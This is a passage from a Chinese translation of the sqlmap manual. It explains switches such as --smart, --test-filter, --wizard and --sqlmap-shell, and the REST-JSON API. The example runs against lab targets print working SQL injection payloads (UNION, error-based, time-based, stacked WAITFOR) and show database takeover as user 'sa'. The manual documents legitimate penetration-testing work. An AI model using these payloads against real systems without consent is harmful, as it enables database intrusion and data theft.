如果用戶決定安全地從output目錄中刪除所有內容,包含以前的sqlmap運行的所有目標詳細信息,他可以使用開關--purge-output清除時,文件夾中(子)目錄中的所有文件output將被隨機數據覆蓋,被截斷,重命名為隨機名稱,(子)目錄也將被重命名為隨機名稱,最后整個目錄樹將被刪除。

示例運行:

$ python sqlmap.py --purge-output -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]

只有在積極啟發式(s)

開關 --smart

有些情況下,用戶擁有大量可能的目標URL(例如,提供了選項-m),並且他希望盡快找到易受攻擊的目標。如果使用開關--smart,則只有可能引發DBMS錯誤的參數正在進一步用於掃描。否則,他們會被跳過。

針對MySQL目標的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&use\
r=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might 
not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' migh
t not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be 
injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you 
want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable 
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
 HAVING clause' injectable 
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
jectable 
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the 
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 colu
mns' injectable
[...]

選擇(或跳過)有效載荷和/或標題的測試

選項 --test-filter

如果你想通過他們的有效載荷和/或標題過濾測試,你可以使用這個選項。例如,如果你想測試所有有ROW關鍵字的有效載荷,你可以使用--test-filter=ROW

針對MySQL目標的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --b\
atch --test-filter=ROW
[...]
[xx:xx:39] [INFO] GET parameter 'id' is dynamic
[xx:xx:39] [WARNING] reflective value(s) found and filtering out
[xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be 
injectable (possible DBMS: 'MySQL')
[xx:xx:39] [INFO] testing for SQL injection on GET parameter 'id'
[xx:xx:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause
'
[xx:xx:39] [INFO] GET parameter 'id' is 'MySQL >= 4.1 AND error-based - WHERE or
 HAVING clause' injectable 
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 3 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELEC
T (C
    ASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FRO
M (S
    ELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY 
x)
---
[...]

選項 --test-skip=TEST

如果您想通過有效載荷和/或標題跳過測試,則可以使用此選項。例如,如果你想跳過所有有BENCHMARK關鍵字的有效載荷,你可以使用--test-skip=BENCHMARK

交互式的sqlmap外殼

開關: --sqlmap-shell

通過使用交換機,--sqlmap-shell用戶將看到交互式的sqlmap外殼,該外殼具有使用過的選項和/或開關的所有先前運行的歷史記錄:

$ python sqlmap.py --sqlmap-shell
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --technique=\
BEU --batch
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:11

[xx:xx:11] [INFO] testing connection to the target URL
[xx:xx:12] [INFO] testing if the target URL is stable
[xx:xx:13] [INFO] target URL is stable
[xx:xx:13] [INFO] testing if GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] confirming that GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] GET parameter 'artist' is dynamic
[xx:xx:13] [INFO] heuristic (basic) test shows that GET parameter 'artist' might
 be injectable (possible DBMS: 'MySQL')
[xx:xx:13] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp
ecific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending 
provided level (1) and risk (1) values? [Y/n] Y
[xx:xx:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:13] [INFO] GET parameter 'artist' seems to be 'AND boolean-based blind - 
WHERE or HAVING clause' injectable 
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:13] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (EXTRACTVALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY
 or GROUP BY clause (UPDATEXML)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (EXP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (E
XP)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause (BIGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (B
IGINT UNSIGNED)'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER B
Y or GROUP BY clause'
[xx:xx:14] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACT
VALUE)'
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[xx:xx:14] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACT
VALUE)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEX
ML)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[xx:xx:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT 
UNSIGNED)'
[xx:xx:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[xx:xx:15] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[xx:xx:15] [INFO] ORDER BY technique seems to be usable. This should reduce the 
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[xx:xx:15] [INFO] target URL appears to have 3 columns in query
[xx:xx:16] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL) - 1 to 2
0 columns' injectable
GET parameter 'artist' is vulnerable. Do you want to keep testing the others (if
 any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 39 HTTP(s) re
quests:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:16] [INFO] testing MySQL
[xx:xx:16] [INFO] confirming MySQL
[xx:xx:16] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.0
[xx:xx:16] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com'
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner
         _
 ___ ___| |_____ ___ ___  {1.0-dev-2188502}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:25

[xx:xx:26] [INFO] resuming back-end DBMS 'mysql' 
[xx:xx:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 5707=5707

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: artist=-7983 UNION ALL SELECT CONCAT(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL,NULL-- -
---
[xx:xx:26] [INFO] the back-end DBMS is MySQL
[xx:xx:26] [INFO] fetching banner
web application technology: Nginx, PHP 5.3.10
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner:    '5.1.73-0ubuntu0.10.04.1'
[xx:xx:26] [INFO] fetched data logged to text files under '/home/stamparm/.sqlma
p/output/testphp.vulnweb.com' 
sqlmap-shell> exit

簡單的向導界面適合初學者用戶

開關: --wizard

對於初學者用戶來說,它有一個向導界面,它盡可能使用簡單的工作流程和盡可能少的問題。如果用戶只輸入目標URL並使用默認答案(例如按下Enter),他應該在工作流程結束時有一個正確設置的sqlmap運行環境。

針對Microsoft SQL Server目標的示例:

$ python sqlmap.py --wizard

    sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable 
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at xx:xx:26

Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_in
t.asp?id=1
POST data (--data) [Enter for None]: 
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1

sqlmap is running, please wait..

heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S
erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided l
evel (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2986=2986

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+C
HAR(58)+(SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(118)+CHAR(114)+CHAR(1
00)+CHAR(58)+CHAR(70)+CHAR(79)+CHAR(118)+CHAR(106)+CHAR(87)+CHAR(101)+CHAR(119)+
CHAR(115)+CHAR(114)+CHAR(77)+CHAR(58)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)-- 

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id=1; WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=1 WAITFOR DELAY '0:0:5'--

    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: id=(SELECT CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+CHAR(58)+(SELECT 
(CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(111)+CHAR
(109)+CHAR(113)+CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 
    Oct 14 2005 00:33:37 
    Copyright (c) 1988-2005 Microsoft Corporation
    Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user:    'sa'
current database:    'testdb'
current user is DBA:    True

[*] shutting down at xx:xx:52

API(REST-JSON)

可以通過服務器和客戶機實例之間使用JSON for REST(縮略語表示狀態傳輸)通信的REST-JSON API,API(縮寫為應用程序接口)運行sqlmap。在plainspeak中,服務器運行sqlmap掃描,而客戶端正在設置sqlmap選項/開關並將結果返回。用於運行API的主程序文件是sqlmapapi.py,而客戶端也可以在任意用戶程序內部實現。

$ python sqlmapapi.py -hh
Usage: sqlmapapi.py [options]

Options:
  -h, --help            show this help message and exit
  -s, --server          Act as a REST-JSON API server
  -c, --client          Act as a REST-JSON API client
  -H HOST, --host=HOST  Host of the REST-JSON API server (default "127.0.0.1")
  -p PORT, --port=PORT  Port of the the REST-JSON API server (default 8775)
  --adapter=ADAPTER     Server (bottle) adapter to use (default "wsgiref")

服務器運行sqlmapapi.py通過使用交換機-s,客戶端通過使用開關-c,而在這兩種情況下用戶可以(可選)設置與聽力選項IP地址-H(默認值"127.0.0.1"),並用監聽端口選項-p(默認8775)。每個客戶端的“會話”可以有多個“任務”(即運行sqlmap掃描),用戶可以隨意選擇當前應該激活的任務。

在客戶端的命令行界面里可用的命令是:

  • help - 顯示可用命令列表以及基本幫助信息
  • new ARGS- 使用提供的參數開始一個新的掃描任務(例如new -u "http://testphp.vulnweb.com/artists.php?artist=1"
  • use TASKID- 將當前上下文切換到不同的任務(例如use c04d8c5c7582efb4
  • data - 檢索並顯示當前任務的數據
  • log - 檢索並顯示當前任務的日志
  • status - 檢索並顯示當前任務的狀態
  • stop - 停止當前任務
  • kill - 殺死當前的任務
  • list - 顯示所有任務(針對當前會話)
  • flush - 刷新(即刪除)所有任務
  • exit - 退出客戶端界面

服務器運行示例:

$ python sqlmapapi.py -s -H "0.0.0.0"
[12:47:51] [INFO] Running REST-JSON API server at '0.0.0.0:8775'..
[12:47:51] [INFO] Admin ID: 89fd118997840a9bd7fc329ab535b881
[12:47:51] [DEBUG] IPC database: /tmp/sqlmapipc-SzBQnd
[12:47:51] [DEBUG] REST-JSON API server connected to IPC database
[12:47:51] [DEBUG] Using adapter 'wsgiref' to run bottle
[12:48:10] [DEBUG] Created new task: 'a42ddaef02e976f0'
[12:48:10] [DEBUG] [a42ddaef02e976f0] Started scan
[12:48:16] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:50] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:55] [DEBUG] [a42ddaef02e976f0] Retrieved scan log messages
[12:48:59] [DEBUG] [a42ddaef02e976f0] Retrieved scan data and error messages

示例客戶端運行:

$ python sqlmapapi.py -c -H "192.168.110.1"
[12:47:53] [DEBUG] Example client access from command line:
    $ taskid=$(curl http://192.168.110.1:8775/task/new 2>1 | grep -o -I '[a-f0-9
]\{16\}') && echo $taskid
    $ curl -H "Content-Type: application/json" -X POST -d '{"url": "http://testp
hp.vulnweb.com/artists.php?artist=1"}' http://192.168.110.1:8775/scan/$taskid/st
art
    $ curl http://192.168.110.1:8775/scan/$taskid/data
    $ curl http://192.168.110.1:8775/scan/$taskid/log
[12:47:53] [INFO] Starting REST-JSON API client to 'http://192.168.110.1:8775'..
.
[12:47:53] [DEBUG] Calling http://192.168.110.1:8775
[12:47:53] [INFO] Type 'help' or '?' for list of available commands
api> ?
help        Show this help message
new ARGS    Start a new scan task with provided arguments (e.g. 'new -u "http://
testphp.vulnweb.com/artists.php?artist=1"')
use TASKID  Switch current context to different task (e.g. 'use c04d8c5c7582efb4
')
data        Retrieve and show data for current task
log         Retrieve and show log for current task
status      Retrieve and show status for current task
stop        Stop current task
kill        Kill current task
list        Display all tasks
flush       Flush tasks (delete all tasks)
exit        Exit this client
api> new -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner --flush-s
ession
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/task/new
[12:48:10] [INFO] New task ID is 'a42ddaef02e976f0'
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/start
[12:48:10] [INFO] Scanning started
api (a42ddaef02e976f0)> status
[12:48:16] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "running", 
    "returncode": null, 
    "success": true
}
api (a42ddaef02e976f0)> status
[12:48:50] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "terminated", 
    "returncode": 0, 
    "success": true
}
api (a42ddaef02e976f0)> log
[12:48:55] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/log
{
    "log": [
        {
            "message": "flushing session file", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "testing connection to the target URL", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "checking if the target is protected by some kind of WAF/
IPS/IDS", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "testing if the target URL is stable", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "target URL is stable", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing if GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "confirming that GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "heuristic (basic) test shows that GET parameter 'artist'
 might be injectable (possible DBMS: 'MySQL')", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing for SQL injection on GET parameter 'artist'", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing 'AND boolean-based blind - WHERE or HAVING claus
e'", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "GET parameter 'artist' appears to be 'AND boolean-based 
blind - WHERE or HAVING clause' injectable (with --string=\"hac\")", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (BIGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (BIGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (EXP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING,
 ORDER BY or GROUP BY clause (JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING c
lause (JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (EXTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (UPDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (UPDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING cla
use (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL OR error-based - WHERE or HAVING clause (
FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (E
XTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (B
IGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (E
XP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.7.8 error-based - Parameter replace 
(JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.0 error-based - Parameter replace (F
LOOR)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (U
PDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (E
XTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL inline queries'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (comment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP - c
omment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query - c
omment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL >= 5.0.12 AND time-based blind'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AN
D time-based blind' injectable ", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "testing 'Generic UNION query (NULL) - 1 to 20 columns'", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "automatically extending ranges for UNION query injection
 technique tests as there is at least one other (potential) technique found", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "'ORDER BY' technique appears to be usable. This should r
educe the time needed to find the right number of query columns. Automatically e
xtending the range for current UNION query injection technique test", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "target URL appears to have 3 columns in query", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "GET parameter 'artist' is 'Generic UNION query (NULL) - 
1 to 20 columns' injectable", 
            "level": "INFO", 
            "time": "12:48:24"
        }, 
        {
            "message": "the back-end DBMS is MySQL", 
            "level": "INFO", 
            "time": "12:48:24"
        }, 
        {
            "message": "fetching banner", 
            "level": "INFO", 
            "time": "12:48:24"
        }
    ], 
    "success": true
}
api (a42ddaef02e976f0)> data
[12:48:59] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/data
{
    "data": [
        {
            "status": 1, 
            "type": 0, 
            "value": [
                {
                    "dbms": "MySQL", 
                    "suffix": "", 
                    "clause": [
                        1, 
                        9
                    ], 
                    "notes": [], 
                    "ptype": 1, 
                    "dbms_version": [
                        ">= 5.0.12"
                    ], 
                    "prefix": "", 
                    "place": "GET", 
                    "os": null, 
                    "conf": {
                        "code": null, 
                        "string": "hac", 
                        "notString": null, 
                        "titles": false, 
                        "regexp": null, 
                        "textOnly": false, 
                        "optimize": false
                    }, 
                    "parameter": "artist", 
                    "data": {
                        "1": {
                            "comment": "", 
                            "matchRatio": 0.85, 
                            "trueCode": 200, 
                            "title": "AND boolean-based blind - WHERE or HAVING 
clause", 
                            "templatePayload": null, 
                            "vector": "AND [INFERENCE]", 
                            "falseCode": 200, 
                            "where": 1, 
                            "payload": "artist=1 AND 2794=2794"
                        }, 
                        "5": {
                            "comment": "", 
                            "matchRatio": 0.85, 
                            "trueCode": 200, 
                            "title": "MySQL >= 5.0.12 AND time-based blind", 
                            "templatePayload": null, 
                            "vector": "AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLE
EPTIME]),[RANDNUM])", 
                            "falseCode": null, 
                            "where": 1, 
                            "payload": "artist=1 AND SLEEP([SLEEPTIME])"
                        }, 
                        "6": {
                            "comment": "[GENERIC_SQL_COMMENT]", 
                            "matchRatio": 0.85, 
                            "trueCode": null, 
                            "title": "Generic UNION query (NULL) - 1 to 20 colum
ns", 
                            "templatePayload": null, 
                            "vector": [
                                2, 
                                3, 
                                "[GENERIC_SQL_COMMENT]", 
                                "", 
                                "", 
                                "NULL", 
                                2, 
                                false, 
                                false
                            ], 
                            "falseCode": null, 
                            "where": 2, 
                            "payload": "artist=-5376 UNION ALL SELECT NULL,NULL,
CONCAT(0x716b706a71,0x4a754d495377744d4273616c436b4b6a504164666a5572477241596649
704c68614672644a477474,0x7162717171)-- aAjy"
                        }
                    }
                }
            ]
        }, 
        {
            "status": 1, 
            "type": 2, 
            "value": "5.1.73-0ubuntu0.10.04.1"
        }
    ], 
    "success": true, 
    "error": []
}
api (a42ddaef02e976f0)> exit
$


免責聲明!

